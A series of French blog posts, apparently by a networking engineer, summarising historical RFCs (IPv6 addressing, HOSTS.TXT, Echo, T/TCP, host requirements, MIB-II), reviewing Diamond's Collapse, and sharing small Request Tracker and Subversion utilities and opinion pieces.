Il n'y a rien d'extraordinaire dans l'adressage IPv6, par rapport à son prédécesseur IPv4 depuis que celui-ci a abandonné les anciennes classes d'adresses. Les mêmes concepts sont à l'œuvre, notamment la notion de préfixe d'une adresse (les N premiers bits, où N dépend de l'architecture du réseau).

Une importante exception à cette règle, qui n'a pas d'équivalent en IPv4, est que les 64 derniers bits sont réservés à l'identificateur d'interface (interface identifier ou IID). On ne peut donc pas, contrairement à IPv4, utiliser des préfixes de longueur quelconque (la section 2.5.1 indique toutefois des cas où on peut utiliser des préfixes de plus de 64 bits).

Cet interface identifier était souvent dérivé de l'adresse MAC (l'algorithme est décrit dans l'annexe A) mais il peut être généré autrement (méthode recommandée par le RFC 8064), attribué arbitrairement, ou encore fabriqué par l'algorithme décrit dans le RFC 4941. L'abondance des adresses en IPv6 permet des fantaisies nouvelles, par exemple le serveur racine F a pour adresse 2001:500::1035 en l'honneur du RFC 1035, qui normalise le DNS. De même, le serveur racine B a comme adresse 2001:478:65::53, 53 étant le port utilisé par le DNS.

Les premiers bits de l'adresse IPv6 indiquent son type. C'est ainsi que le préfixe FE80::/10 identifie les adresses locales au lien (link-local). De même, les adresses de diffusion (peu utilisées à l'heure actuelle) sont couvertes par le préfixe FF00::/8. Attention, les adresses locales au site ont été abandonnées dans le RFC 3879, remplacées par les ULA du RFC 4193.

La section 2.2 décrit la forme textuelle des adresses, avec les nombres codés en hexadécimal et avec le deux-points comme séparateur, par exemple 2001:DB8:42::1954:2:1. Deux deux-points successifs identifient une suite de zéros. L'adresse ci-dessus aurait donc pu s'écrire 2001:DB8:42:0:0:1954:2:1.

On notera qu'il n'a jamais existé de représentation textuelle normalisée des adresses IPv4 (la forme avec quatre octets en décimal séparés par des points est la plus courante mais pas la seule, essayez telnet 651667656 si vous ne me croyez pas et regardez à quelle machine il tente de se connecter).


Téléchargez le RFC 4291


L'article seul

RFC 608: Host names on-line

Date de publication du RFC : Janvier 1974
Auteur(s) du RFC : M. D. Kudlick (Stanford Research Institute - Augmentation Research Center)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 10 décembre 2007
Dernière mise à jour le 8 janvier 2008


Deuxième RFC (après le RFC 606) à avoir proposé de mettre la liste de toutes les machines d'Arpanet en ligne, à une époque où le DNS était encore très loin dans le futur.

Avant le DNS, le RFC 606 suggérait de résoudre le problème lancinant de la mise à jour des fichiers hosts (carnets d'adresses de machines) en mettant en ligne, accessible à tous, un fichier de toutes les machines connues sur Arpanet, avec leurs adresses (c'était avant IPv4 et les adresses tenaient sur un octet). Notre RFC était l'acceptation officielle de ce projet par le NIC, projet qui allait devenir HOSTS.TXT, le fichier de référence d'Arpanet.

HOSTS.TXT durera de nombreuses années, recopié plus ou moins régulièrement par les machines d'Arpanet. Au bout d'un moment, sa taille croissante et la charge qu'impliquait son transfert, la difficulté de maintenir un fichier central de toutes les machines, et le fait que les copies locales n'étaient jamais à jour a mené au développement d'un système décentralisé et dynamique, le DNS, qui a fait disparaitre HOSTS.TXT. (Sur l'histoire du DNS, voir mon article « Quelques éléments d'histoire... ».)

Retrouver des versions anciennes de ce fichier a été un travail amusant. En commençant par les plus récentes, Geoffroy Rivat me signale qu'on peut récupérer une version de 1994, soit bien après que le DNS aie tout remplacé (et qu'on soit passé à IPv4). Noel Chiappa, lui, m'a indiqué une version encore plus ancienne, mais toujours en IPv4.

Il signale aussi une curieuse curieuse archive au format ITS, qu'on peut assez bien lire avec un éditeur normal et qui contient apparemment une copie du HOSTS.TXT de 1983 ! En voici un extrait :

HOST MIT-LISPM-9,	CHAOS 3074,USER,LISPM,LISPM,[CADR-9,CADR9,LM9]
HOST MIT-LISPM-TEST,	CHAOS 3024,USER,LISPM,LISPM,[CADR-TEST,LMTEST,TEST]
HOST MIT-MACEWAN,	LCS 12/120,SERVER,UNIX,VAX,[MACEWAN]
HOST MIT-MARIE,		CHAOS 7500,SERVER,VMS,VAX,[MARIE,MIT-LNS]
HOST MIT-MC,		[3/44,CHAOS 1440],SERVER,ITS,PDP10,[MC,MITMC]

Une autre copie des fichiers de cette époque se trouve en http://saildart.org/prog/NET/index.html. Voir par exemple un HOSTS.TXT de 1983 en http://saildart.org/prog/NET/HST_NET/.html/000071?70,37120.

Enfin, la version la plus ancienne a été extraite par Elizabeth Feinler, directrice du NIC à l'époque, et que je remercie beaucoup pour ses efforts. Une fois retrouvée une copie papier de 1974 (apparemment incomplète), Liz Borchardt et Dana Chrisler, du Computer History Musem, ont numérisé ce document. Les adresses étaient encore codées sur un seul octet... Une copie plus récente (1982, à l'époque du RFC 810, qu'elle avait écrit) montre des adresses IPv4, sur quatre octets.

On notera avec amusement dans ce RFC que le NIC utilisait à l'époque un programme pour transformer sa base de données en fichier HOSTS.TXT. Aujourd'hui, vingt-trois ans après, l'IANA n'a pas encore rattrapé cette étape et maintient toujours ses registres dans des fichiers texte, « à la main », avec les inévitables erreurs que ce processus archaïque entraine.


Téléchargez le RFC 608


L'article seul

RFC 0862: Echo Protocol

Date de publication du RFC : Mai 1983
Auteur(s) du RFC : J. Postel (University of Southern California/Information Sciences Institute)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 7 décembre 2007


Heureuse époque où un RFC pouvait tenir sur une seule page. Celui-ci normalise le protocole echo, utile surtout pour le déboguage.

echo sert à déboguer des serveurs réseaux. Son principe est de renvoyer les données transmises par le client en TCP ou en UDP. Les requêtes ICMP du même nom ne suffisent pas car, sur une machine Unix, elles sont typiquement traitées par le noyau et une machine peut donc répondre à ping et être néanmoins incapable de faire fonctionner des applications, par exemple parce qu'elle swappe trop. Un protocole de test de la couche 7 était donc nécessaire.

Du côté du serveur, echo est typiquement mis en œuvre par inetd mais on peut aussi en trouver une curieuse implémentation dans Emacs ou bien mon implémentation en Python, pour ceux qui veulent voir un exemple d'utilisation de la bibliothèque SocketServer. Une autre implémentation, en Go, illustrant bien les possibilités de ce langage, est NoNewContent.

Comme echo est un protocole très simple, les programmes de test réseau l'utilisent souvent. Par exemple, GnuTLS affiche un sample TLS 1.0 echo server dans sa documentation.

Du côté du client, echo se retrouve par exemple dans echoping, à qui il doit son nom (echo était le premier protocole utilisé par echoping).

Le protocole echo est en général désactivé depuis une alerte de sécurité. Il est à noter que echo n'est dangereux qu'en UDP (et encore, il ne permet pas d'amplification de l'attaque) ou bien combiné avec d'autres protocoles comme chargen (RFC 864). Mais le résultat de cette alerte a été la désactivation quasi-systématique de cet utile protocole (à une époque, il était activé par défaut sur toute machine Unix et sur les routeurs Cisco).


Téléchargez le RFC 0862


L'article seul

Fiche de lecture : Collapse

Auteur(s) du livre : Jared Diamond
Éditeur : Viking Books
1-58663-863-7
Publié en 2005
Première rédaction de cet article le 6 décembre 2007


Un livre à grand succès, que tout le monde cite, pas forcément correctement. Collapse (Effondrement, dans l'édition française) raconte le sort de plusieurs civilisations qui ont disparues ou quasiment disparues, parce qu'elles n'ont pas su réagir et qu'elles ont tenu à continuer dans une mauvaise voie.

Jared Diamond est un biogéographe très connu, déjà auteur d'autres livres largement diffusés. Collapse est un gros livre mais raconté avec tellement de verve et d'érudition qu'on ne voit pas le temps passer en le lisant. Plusieurs civilisations disparues sont successivement étudiées, des Vikings du Groenland aux Mayas d'Amérique Centrale en passant par l'île de Pâques. Sans oublier des civilisations qui se sont sorties de crises écologiques graves, comme les papous de Nouvelle-Guinée ou qui s'en tireront peut-être comme les États-Unis d'ajourd'hui (Diamond étudie en détail le Montana et, de manière plus rapide, la région de Los Angeles).

À chaque fois, l'auteur nous décrit une civilisation brillante, sûre d'elle, et qui fonce avec obstination vers l'abîme, situé en général juste après le moment de plus grand rayonnement.

Un des points importants de Diamond est que ces civilisations disparues n'étaient pas forcément plus stupides ou plus ignorantes que la nôtre. Les erreurs qu'ils ont commises, l'aveuglément dont ils faisaient preuve, étaient dus à des facteurs qui existent aussi dans nos civilisations modernes. Si nous avons des avantages sur eux (nous savons d'avantage de choses), nous avons aussi des faiblesses plus graves (Diamond rappelle que les habitants de l'île de Pâques ont réussi à anéantir leur forêt avec seulement des haches de pierre et s'inquiète de ce que nous pourrions « réussir » à faire avec nos outils modernes).

Beaucoup de compte-rendus de Collapse ont insisté sur le côté pittoresque et ridicule de certaines décisions qu'avaient prises nos prédécesseurs (comme les Vikings du Groenland s'obstinant à construire d'immenses églises, dans un pays où le bois est plus rare que l'or, ou encore refusant de manger du poisson, alors que leurs bateaux naviguaient dans des eaux parmi les plus poissonneuses du monde). Mais Diamond s'oppose tout à fait à cette vision simpliste et rassurante, qui nous permettrait à nous, occidentaux d'aujourd'hui, de nous moquer des sauvages stupides des siècles passés. Il affirme que nos décisions ou non-décisions d'aujourd'hui, par exemple en ce qui concerne la lutte contre le réchauffement planétaire, apparaitront tout aussi ridicules dans le futur. Et qu'aucun effondrement ne peut être imputé à une cause unique. Le fanatisme religieux des Vikings du Groenland a certainement joué un rôle dans leur disparition (par exemple, en leur faisant refuser d'apprendre quoi que ce soit des Inuits, dont les compétences étaient ignorées car ils étaient païens). Mais leur civilisation, rappelle Diamond, a duré plus longtemps que le peuplement anglo-saxon en Amérique du Nord. Et c'est peut-être justement ce fanatisme religieux qui les a aidé à tenir si longtemps.

Diamond passe donc du temps à étudier les facteurs qui peuvent aider à comprendre la disparition ou le maintien de certaines civilisations. Son propos est nettement volontariste, comme le résume le sous-titre du livre : les civilisations choisissent leur sort. Là encore, Diamond voit beaucoup de solutions possibles, qu'il organise en deux catégories. Les méthodes de bas en haut, comme l'extrême démocratie pratiquée par les papous, exaspérante pour un occidental, mais qui leur a permis de prendre les décisions radicales exigées par la déforestation de leur île. Et les méthodes de haut en bas comme celles, très autoritaires, utilisées par le shogun au Japon pour sauver les derniers arbres de l'archipel, avec succès.

Diamond mentionne notamment, parmi les facteurs aggravant, l'inégalité. Chez les papous, les « grands hommes » (des sortes de sages respectés) cultivent un lopin de terre identique à celui des autres. Ils comprennent bien que leur sort est lié au sort commun. Au contraire, dans des sociétés ultra-hiérarchisées comme celle des Vikings ou des Mayas, les chefs pouvaient développer l'illusion qu'ils échapperaient à l'effondrement final et n'avaient donc aucune motivation pour tenter d'arrêter la catastrophe.

Un long article du Monde Diplomatique en décembre 2007, s'attaque à ce livre en le présentant comme l'inspirateur de la politique écologique de Sarkozy. C'est mettre les choses à l'envers. Sarkozy cite Diamond (qu'il n'a peut-être jamais lu) parce que c'est un auteur à la mode et parce que tout homme politique français se doit d'avoir une vision planétaire et d'avoir lu de gros livres. Mais rien n'indique que Sarkozy, l'ami des milliardaires, soit prêt à prendre les mesures radicales que réclame Diamond, surtout si elles s'attaquent aux intérêts du patronat.

(Le même article accuse aussi Diamond d'être un partisan caché d'un génocide, simplement parce qu'il fait remarquer les risques de la surpopulation.)


L'article seul

RFC 1644: T/TCP -- TCP Extensions for Transactions Functional Specification

Date de publication du RFC : Juillet 1994
Auteur(s) du RFC : Bob Braden (University of Southern California, Information Sciences Institute)
Intérêt historique uniquement
Première rédaction de cet article le 5 décembre 2007


Il n'y a pas que des normes qui réussissent, à l'IETF. Il y a aussi des échecs, comme cette amélioration du protocole TCP, T/TCP, qui portait de nombreux espoirs à une époque et est pourtant aujourd'hui abandonnée.

T/TCP, normalisé dans ce RFC, visait à résoudre un problème de TCP : le temps d'établissement de la connexion est souvent supérieur au temps passé à transmettre des données, dès que les données sont peu nombreuses. C'est le cas des protocoles de type requête/réponse comme HTTP (beaucoup de pages Web font moins d'un ou un et demi kilo-octet, soit moins qu'un seul paquet IP) mais aussi du DNS ou de SNMP, que notre RFC cite dans sa section 1. Pour ces protocoles, on souhaiterait typiquement n'envoyer que deux paquets, un pour la question et un pour la réponse, laissant le mécanisme normal de TCP aux transferts de gros fichiers, pour lesquels le temps d'établissement de la connexion est négligeable. Le DNS ou SNMP ont choisi d'utiliser UDP et, comme celui-ci n'offre aucune fiabilité, doivent donc gérer les paquets perdus, les retransmissions, etc. HTTP a choisi d'utiliser TCP, ce qui simplifie la tâche des développeurs d'applications Web mais augmente nettement la durée d'une requête Web typique.

Pourquoi ? À cause d'une fonction essentielle de TCP, le 3-way handshake. TCP ne peut pas envoyer ne serait-ce qu'un octet de données avant d'avoir terminé l'ouverture de la connexion et cette ouverture nécessite trois paquets, le paquet de demande d'ouverture d'une connexion, SYN, le paquet d'acceptation et d'accusé de réception, SYN+ACK et le paquet d'accusé de réception ACK. Si le RTT du réseau est important (par exemple sur les liaisons satellite), la durée du 3-way handshake pourra être l'essentiel de la durée de la requête. On peut voir cet effet avec echoping, sur un site Web (http://www.kame.net/) dont la page d'accueil est très légère :

% echoping -v -h / www.kame.net

This is echoping, version 5.2.0.

Trying to connect to internet address 2001:200:0:8002:203:47ff:fea5:3085 80 to transmit 88 bytes...
Trying to send 256 bytes to internet address 2001:200:0:8002:203:47ff:fea5:3085...
Connected...
TCP Latency: 0.331326 seconds
Sent (88 bytes)...
Application Latency: 0.357898 seconds
3241 bytes read from server.
Elapsed time: 0.711559 seconds

Le temps d'établissement de la connexion (TCP latency) est la moitié du temps total. Voici le 3-way handshake correspondant, vu avec tcpdump (le grand S après les adresses IP indique un paquet SYN) :


21:43:15.110842 2001:7a8:7509::1.35261 > 2001:200:0:8002:203:47ff:fea5:3085.80: S 845465777:845465777(0) win 5728 <mss 1432,sackOK,timestamp 10604938 0,nop,wscale 0>

21:43:15.425956 2001:200:0:8002:203:47ff:fea5:3085.80 > 2001:7a8:7509::1.35261: S 3136927327:3136927327(0) ack 845465778 win 65535 <mss 1440,nop,wscale 1,nop,nop,timestamp 476839171 10604938,[|tcp]> [class 0x3] [flowlabel 0x71d12]

21:43:15.426014 2001:7a8:7509::1.35261 > 2001:200:0:8002:203:47ff:fea5:3085.80: . ack 1 win 5728 <nop,nop,timestamp 10605253 476839171>

À la fin de cette échange d'un tiers de seconde, aucune donnée « utile » n'a encore été envoyée.

(Un autre problème de TCP pour ce genre de liens est le délai d'attente à la fin d'une connexion, où chaque machine doit garder un état pour pouvoir traiter correctement les paquets arrivant en retard. Pour un serveur très chargé, gérant beaucoup de requêtes, c'est une vraie contrainte.)

L'idée de base de T/TCP est de transporter dès le premier paquet les données, de façon à ce que l'acceptation de la connexion puisse également porter la réponse. Cela se fait en utilisant une option de TCP, CC (Connection Count) qui indique la présence de données dans le paquet SYN. Le Connection Count sert également de cookie pour garantir qu'on parle bien à la même machine. Un certain nombre de détails doivent être pris en compte pour que cela marche, en conservant la fiabilité de TCP, même si des paquets sont perdus. Ce qui explique que le protocole soit plus complexe que résumé ici (les sections 2 et 3 le détaillent).

Par exemple, comme la connexion ne dure pas longtemps, la mesure du RTT que fait normalement TCP pour optimiser l'utilisation du réseau ne peut avoir lieu. La section 4.3 demande donc qu'une machine T/TCP garde un cache des RTT des différentes machines à laquelle elle parle, pour obtenir approximativement le même effet.

L'idée était donc très tentante et a été promue par plusieurs experts comme W. Richard Stevens, qui s'en est fait l'ardent défenseur. Mais peu de systèmes d'exploitation l'ont implémenté (FreeBSD est la principale exception mais Linux a eu aussi sa version), peu de machines l'ont activé et peu de logiciels s'en servaient (echoping avait une option -r pour T/TCP mais elle a été retirée pour les raisons exposées plus loin, cf. bogue #1350714).

Outre la simple inertie face à la nouveauté, T/TCP a en effet été rapidement victime d'une sécurité plus faible que celle de TCP. Il n'y a pas de miracle : si on va plus vite, on vérifie moins. Alors que les adresses IP d'une connexion TCP sont relativement authentifiées (car le numéro de séquence TCP doit être renvoyé, ce qui impose de donner sa vraie adresse IP pour recevoir les messages), T/TCP n'est guère plus fiable qu'UDP face à l'usurpation d'adresses IP. Comme les réponses sont souvent plus grandes que les requêtes, cela permet en outre une amplification de l'attaque.

Ces failles ont été documentées dans plusieurs articles :

Sur une machine FreeBSD, T/TCP semble coupé par défaut, désormais (sysctl -a | grep -E 'rfc1644|dropsyn' pour voir les variables pertinentes).

Finalement, c'est le RFC 4614 qui a marqué l'abandon officiel de T/TCP. Le RFC 6247 entérinera cet abandon en reclassifiant notre RFC 1644 comme « intérêt historique seulement ».


Téléchargez le RFC 1644


L'article seul

RFC 1123: Requirements for Internet Hosts - Application and Support

Date de publication du RFC : Octobre 1989
Auteur(s) du RFC : Robert Braden (University of Southern California (USC), Information Sciences Institute)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 5 décembre 2007


À une époque, il semblait encore possible de résumer dans un RFC tout ce que devait savoir le développeur de services réseaux. Ce n'est évidemment plus le cas, néanmoins, ce RFC, qui synthétise les règles que doivent respecter les machines non-routeuses reste utile, certaines des règles qu'il pose étant toujours d'actualité.

Un problème classique de l'implémenteur est le nombre de RFC à lire, et le risque de ne plus pouvoir distinguer les choses importantes des détails, au milieu de toutes ces normes. D'où l'idée de résumer les « choses importantes » dans des RFC de synthèse comme le RFC 1812 pour les routeurs ou comme deux RFC, le RFC 1122 et le nôtre, qui couvrent les machines non-routeuses (host en anglais, parfois traduit par terminal, qui est un terme que je trouve trop marqué par l'époque des mainframes et du Minitel). Le RFC 1122 couvre les couches basses et le 1123 les couches hautes. C'est un des plus vieux RFC encore en service. À l'époque (1989), les médias et les experts officiels n'avaient pas encore découvert l'Internet mais celui-ci était déjà suffisamment complexe pour que la section 1.2.1 s'inquiète de l'« énorme croissance de l'Internet » et des problèmes qu'elle pose.

Comme le note la section 1, de tels RFC de synthèse sont normalement inutiles. « Une mise en œuvre de bonne foi, faite en lisant soigneusement les RFC, ainsi qu'en suivant les activités de la communauté technique et des bons principes d'ingéniérie, ne devrait se différencier des demandes de ce RFC que de manière mineure. » Mais la pratique ne suivant pas toujours la théorie, et des mises en œuvre des protocoles Internet s'étant avérées très boguées, la réalisation d'un RFC de rappel a semblé une bonne idée. En revanche, la mise à jour régulière de ce RFC, promise en section 1, ne s'est jamais concrétisée, même s'il y a eu des mises à jour partielles, comme les RFC 1349 ou RFC 2181.

La partie la plus souvent citée de notre RFC est certainement la section 2.1 Host names and numbers, qui normalise la syntaxe pour les noms de machines sur Internet. Cette syntaxe est limitée à LDH (Letters - Digits - Hyphen) c'est-à-dire un sous-ensemble d'ASCII limité aux lettres de A à Z, aux chiffres et au tiret. Contrairement à ce qu'on lit souvent sous la plume d'ignorants, cette limite n'a rien à voir avec le DNS, qui était une invention récente à l'époque de notre RFC. Cette limite plonge au contraire ses racines dans des normes plus anciennes, comme le RFC 952 qui était même encore plus strict (le nom ne pouvait pas commencer par un chiffre). Ainsi, les règles pour les noms de machines ne sont pas les mêmes que pour un nom de domaine. C'est pour cela qu'il a fallu développer IDN (RFC 3490), pas à cause d'une soi-disant limite du DNS.

La section 1.2.2 rappelle un de ces « bons principes d'ingéniérie », la fameuse phrase « Soyez prudents dans ce que vous envoyez et ouverts dans ce que vous recevez » (« Be liberal in what you accept, and conservative in what you send », déjà présente dans le RFC 791).

Voyons maintenant les autres parties, moins célèbres, de ce RFC.

Sur certains points, les changements dans l'Internet ont été positifs. C'est ainsi que la section 1.2.4 déplorait que l'auto-configuration des machines connectés était toujours aussi utopique, alors que depuis, notamment grâce à DHCP (RFC 2131), elle est devenue une réalité.

Par contre, d'autres fonctions, sur lesquelles on fondait beaucoup d'espoirs, n'ont jamais vraiment pris. Ainsi, la section 2.4 mentionne les TOS d'IPv4, que peu d'applications utilisent et que beaucoup de routeurs ou de coupe-feux bloquent. (Petite publicité personnelle : echoping permet de définir ces valeurs TOS, avec l'option -P.)

La section 3 est consacrée au protocole telnet, qui devrait logiquement être abandonné aujourd'hui, remplacé par SSH.

La section 4 concerne le transfert de fichiers, qui à l'époque se faisait uniquement avec FTP. Il est toujours utilisé aujourd'hui, mais HTTP (RFC 2616) et SCP ont diminué son importance.

La section 5 parle du courrier électronique mais on ne recommande pas sa lecture, les normes et, encore plus, la réalité ayant beaucoup évolué depuis (les textes à jour sont les RFC 2821 et RFC 2822).

La section 6.1 détaille les interactions avec les systèmes de résolution de noms. Elle n'est pas limitée au DNS, loin de là, la section 6.1.3.8 expliquant la possibilité d'utiliser également un fichier local (/etc/hosts sur Unix) et de configurer quel mécanisme de résolution est utilisé (/etc/host.conf sur Unix).

La 6.1.4, elle, mentionne les listes de domaines dans lesquels chercher un nom (fonction mise en œuvre avec la directive search dans le /etc/resolv.conf des machines Unix). La publication du RFC en 1989 n'a pas empêché Verisign de déposer un brevet en 2003 (6,560,634) sur cette fonction. Et l'office états-unien des brevets l'a accepté (les offices des brevets acceptent tout et n'importe quoi ; ils n'ont ni la compétence, ni l'envie de chercher des précédents, puisque leurs revenus dépendent des dépôts).

La section 6.2 concerne la gestion des machines, à une époque où le protocole SNMP était très récent.


Téléchargez le RFC 1123


L'article seul

Afficher un graphe des commits dans un dépôt Subversion

Première rédaction de cet article le 4 décembre 2007


Pour le chef de projet, pour les développeurs, ou pour les simples curieux, il peut être intéressant d'afficher un graphe des commits dans un dépôt Subversion. C'est ce que fait le programme présenté ici, qui utilise Gnuplot pour créer une jolie image montrant un des aspects de l'activité des développeurs.


L'article complet

Quelques utilitaires pour aller avec Request Tracker

Première rédaction de cet article le 3 décembre 2007


Le logiciel Request Tracker est le plus répandu aujourd'hui des logiciels de gestion de tâches. Il sert pour les centres d'assistance aux utilisateurs, pour garder trace des demandes, aux développeurs pour se souvenir des bogues et autres demandes, à tous pour suivre les tâches en cours. Je présente ici quelques utilitaires que j'ai développé les différentes fois où j'ai utilisé Request Tracker.

Request Tracker est un logiciel libre et, en outre, il est très extensible. On peut modifier son comportement de plusieurs façons, en changeant les pages Web, en dévelopant des scrips (non, il n'y a pas de fautes de frappe), en attaquant directement la base de données en SQL, etc.

Ayant utilisé à plusieurs reprises Request Tracker, dans des environnements très différents, j'ai développé plusieurs utilitaires que je présente ici un peu en vrac. Je ne garantis pas leur bon fonctionnement, d'autant plus que certains avaient été développés pour de vieilles versions et pas tenus à jour depuis. Utilisez-les donc comme source d'inspiration mais ne leur confiez pas vos vies aveuglément. (Il en existe beaucoup d'autres.)

rt2dot.py produit, via Graphviz un graphique des tâches en cours et de leurs relations (puisque Request Tracker permet d'enregistrer les relations entre les tâches, #56 dépend de #13, #566 a un rapport avec #1922, etc). Il est écrit en Python et fonctionne en lisant directement la base de données (le schéma simple et bien documenté de Request Tracker rend cela très facile, comme cela devrait l'être avec toutes les bases relationnelles).

rt2gnuplot.py produit, via Gnuplot, un graphique de la quantité de tickets ouverts et fermés pendant une période donnée. Attention, comme avec toutes les métriques du travail, à ne pas le prendre trop au sérieux, ou bien les employés vont commencer à fermer les tickets pas finis pour augmenter leur score ! Il est écrit en Python et fonctionne en lisant directement la base de données. Son fonctionnement est un peu compliqué car il utilise Cheetah pour créer le fichier de commandes de gnuplot. Le gabarit de ce fichier est :

set terminal png
set xlabel "$period from now ($now)"
set ylabel "Tickets"
set title "Activity of the Request Tracker ticketing system of CODEV-NIC"
plot "rt.dat" using 1:2 with lines title "Tickets opened", \
     "rt.dat" using 1:3 with lines title "Tickets closed"

et, pour le lancer, j'utilise make avec ce Makefile (le fichier rt.pickle est créé par rt2gnuplot.py) :

rt.pickle: rt.dat

rt.png: rt.dat rt.gp 
        gnuplot rt.gp > $@

rt.dat: svncommits2gnuplot.py
        ./rt2gnuplot.py > $@

rt.gp: rt.gp_tmpl rt.pickle
        cheetah fill --pickle rt.pickle --iext gp_tmpl --oext gp rt.gp_tmpl

# The real dependency is to the RT system
.PHONY: rt.dat

SomeQueues est un vieux scrip (plus précisement une ScripCondition) pour tester si une transaction appartient à un ensemble de queues, ensemble décrit par une expression rationnelle. Comme tous les scrips, et comme Request Tracker lui-même, il est écrit en Perl.

Pour exporter automatiquement la liste des tickets ouverts vers une machine qui n'est pas connectée en permanence, j'utilise simplement, depuis cron, la ligne de commande de Request Tracker, moins susceptible de subir des changements que le schéma de la base de données :

rt ls -t ticket -l -o +Created "(Status='new' or Status='open')" | \
        mutt -e 'set charset=utf-8' -s "Tickets RT" \
                                    stephane@monportable.internatif.org

rt-summary.py est un script qui envoie par courrier tous les matins un rappel des tâches les plus importantes, classées par priorité décroissante. Il lit dans la base la liste des utilisateurs Request Tracker et envoie à chaque utilisateur un bref rappel des tickets dont il est responsable. Il est écrit en Python et fonctionne en lisant directement la base de données.


L'article seul

RFC 1213: Management Information Base for Network Management of TCP/IP-based internets:MIB-II

Date de publication du RFC : Mars 1991
Auteur(s) du RFC : Keith McCloghrie (Hughes, LAN Systems), Marshall T. Rose (Performance Systems International)
Chemin des normes
Première rédaction de cet article le 29 novembre 2007


Un des RFC les plus anciens encore en service, la normalisation de la célèbre MIB-II, la base des données qui peuvent être récoltées avec le protocole de gestion de réseaux SNMP.

La MIB-II est la plus connue et la base de toutes les autres MIB (elle succède à la MIB-I, décrite dans le RFC 1156). Elle décrit un modèle de données, pas un protocole. Ces données sont accessibles par les différentes versions du protocole SNMP, elle donne accès à sept groupes d'informations, comme System ou IP. Ce RFC est donc surtout composé d'une longue liste de variables (objets), selon les principes communs à toutes les MIB, décrits dans le RFC 1155.

Physiquement, une MIB est (section 4) une description en langage ASN.1 des données présentes, avec leur syntaxe, une indication de leur identificateur (l'OID), une description en langue naturelle, etc. Les commandes comme snmpget affichent par défaut les noms des variables mais on peut afficher les OID avec l'option -On. Les OID de MIB-II démarrent à 1.3.6.1.2.1. Par exemple, la définition de la variable ifNumber (nombre d'interfaces réseaux de la machine) est :

          ifNumber OBJECT-TYPE
              SYNTAX  INTEGER
              ACCESS  read-only
              STATUS  mandatory
              DESCRIPTION
                      "The number of network interfaces (regardless of
                      their current state) present on this system."
              ::= { interfaces 1 }

Son OID étant { interfaces 1 } et celui de interfaces, défini un peu plus haut, étant { mib-2 2 }, on voit que l'OID de ifNumber est 1.3.6.1.2.1.2.1.0 (le zéro final est une valeur nécessaire pour les scalaires, avec SNMP). snmpget peut donc la récupérer :

% snmpget [options] myrouter 1.3.6.1.2.1.2.1.0
IF-MIB::ifNumber.0 = INTEGER: 2

Si la variable est un tableau, c'est un peu plus compliqué, il faut ajouter à l'OID un index. Par exemple, les interfaces ont une variable ifOperStatus qui indique si elles fonctionnent ou pas (ifAdminStatus indique l'état désiré de l'interface, ifOperStatus son état réel ; la comparaison des deux est donc un bon moyen de savoir si toutes les interfaces fonctionnent comme prévu). Cete variable est définie dans notre RFC ainsi :

          ifOperStatus OBJECT-TYPE
              SYNTAX  INTEGER {
                          up(1),       -- ready to pass packets
                          down(2),
                          testing(3)   -- in some test mode
                      }
              ACCESS  read-only
              STATUS  mandatory
              DESCRIPTION
                      "The current operational state of the interface.
                      The testing(3) state indicates that no operational
                      packets can be passed."
              ::= { ifEntry 8 }
% snmpget [options] myrouter 1.3.6.1.2.1.2.2.1.8.1
IF-MIB::ifOperStatus.1 = INTEGER: up(1)                                      

Voici enfin, affichée par snmpwalk, une partie de la MIB-II d'un commutateur réseau de bas de gamme. D'abord, le groupe System (section 3.4), qui décrit l'engin lui-même, par exemple sa description :

SNMPv2-MIB::sysDescr.0 = STRING: 24-Port Managed 10/100 Switch w/WebView
SNMPv2-MIB::sysLocation.0 = STRING: UVA
...

puis le groupe Interfaces qui décrit les interfaces de l'engin :

IF-MIB::ifNumber.0 = INTEGER: 37
...
IF-MIB::ifDescr.1 = STRING: Ethernet Interface
...
IF-MIB::ifType.1 = INTEGER: ethernetCsmacd(6)
...
IF-MIB::ifMtu.1 = INTEGER: 1500
...
IF-MIB::ifOperStatus.1 = INTEGER: up(1)
...
IF-MIB::ifInOctets.1 = Counter32: 188864

Ce dernier compteur, ifInOctets est un exemple des variables que récoltent les programmes de surveillance de réseau comme le célèbre MRTG ou comme le plus récent Munin.

Les groupes ultérieurs comme IP, ou TCP sont moins pertinents pour un commutateur, car ils ne comptent que les paquets qui lui sont directement adressés.


Téléchargez le RFC 1213


L'article seul

Exposé OpenID à JRES

Première rédaction de cet article le 27 novembre 2007


Le 21 novembre, à Strasbourg, j'ai eu le plaisir de faire un exposé lors des JRES sur le sujet « Gestion d'identité avec OpenID ».

Voici les documents produits à cette occasion :


L'article seul

Exposé IETF à JRES

Première rédaction de cet article le 27 novembre 2007


Le 20 novembre, à Strasbourg, j'ai eu le plaisir de faire un exposé lors des JRES sur le sujet « Développement de protocoles à l'IETF ».

Voici les documents produits à cette occasion :


L'article seul

L'Afrique, l'oral, l'écrit et l'Internet

Première rédaction de cet article le 24 novembre 2007


Il me semble qu'on voit de plus en plus souvent des gens affirmer que le développement de l'Internet en Afrique se fera avec des applications non-écrites, car les Africains seraient de culture essentiellement orale.

J'avais entendu cette affirmation de la part de gens extérieurs au continent, et je soupçonnais qu'il y avait une bonne dose de racisme dedans : le cliché de l'Africain sympa, drôle, mais incapable d'un travail intellectuel difficile et, notamment, incapable de lire et d'écrire des textes sérieux, est fortement ancré dans les mentalités des gens du « Nord ». Mais je vois aussi des Africains reprendre ce discours, par exemple, dans le livre « Internet governance in a global multi-stakeholder environment » (édité par Wolfgang Kleinwächter dans la collection Germany, Land of Ideas), je lis un texte de Titi Akinsanmi, qui travaille pour une ONG Sud-africaine : « Une des questions centrales de l'Internet est la domination de l'écrit dans le contenu disponible en ligne. Cela exclut les analphabètes de toute participation. Ce problème est particulièrement important en Afrique sub-saharienne, dont les racines culturelles, en matière d'échange d'information et de connaissance, sont orales et picturales. »

Alors, là, je bondis. Le fait que la majorité des habitants, dans la plupart des pays africains, soient analphabètes, n'a rien à voir avec une quelconque « culture orale ». Ces soi-disants racines culturelles ne sont que le résultat de la pauvreté, du manque de moyens pour l'enseignement et de la discrimination contre certaines parties de la population, notamment les femmes. Les Africains n'ont pas choisi d'être analphabètes parce qu'ils préfèrent l'oral, ils n'ont pas eu le choix.

